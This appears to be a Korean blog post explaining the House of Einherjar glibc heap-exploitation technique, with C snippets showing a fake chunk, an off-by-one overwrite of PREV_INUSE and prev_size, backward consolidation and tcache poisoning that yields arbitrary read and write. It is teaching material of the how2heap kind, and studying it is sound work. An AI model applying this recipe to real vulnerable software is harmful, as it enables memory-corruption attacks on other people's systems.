[Exploit Tech Analysis][Heap] House of Einherjar
TMI: Einherjar(에인헤랴르)는 북유럽 신화에 나오는, 오딘이 라그나로크에 대항하기 위해 모은 전사를 지칭한다. 자세한 내용은 Wikipedia나 나무위키를 참고하자.
size
필드에 대해서 단 1비트만이라도 overflow가 가능할 때, AAR / AAW 프리미티브를 만들 수 있는 기법이다. 이를 위해 consolidation 과정을 이용한다. 공격 과정은 다음과 같다.
우선 큰 청크인 A
를 하나 할당하고, 그 청크에 가짜 청크를 구성한다.
intptr_t *a = malloc(0x38);
a[0] = 0; // prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck

다음으로 청크 A
의 바로 뒤에 작은 청크를 하나 할당한다. 이 청크를 B
라 한다. 연달아서 B
의 뒷쪽에 큰 청크를 하나 더 할당한다. 이 청크를 C
라 한다.
uint8_t *b = (uint8_t *) malloc(0x28);
uint8_t *c = (uint8_t *) malloc(0xf8);

B
에서 OOB를 발생시켜 C
의 prev_size
를 앞서 만든 가짜 청크에 맞게 맞추고, size
의 마지막 한 비트를 0으로 덮어 PREV_INUSE
가 꺼지도록 한다.
b[real_b_size] = 0;
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
a[1] = fake_size;

이제 C
를 해제하면 C
가 consolidation되며 B
를 포함한 전체 청크가 unsorted bin으로 들어가게 된다.

마지막으로 B
를 해제하고, unsorted bin에 들어간 큰 청크를 다시 할당해 B
의 fd가 존재하는 부분에 쓰면 tcache poisoning이 가능해진다.
intptr_t *d = malloc(0x158);
free(b);
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);
Leave a comment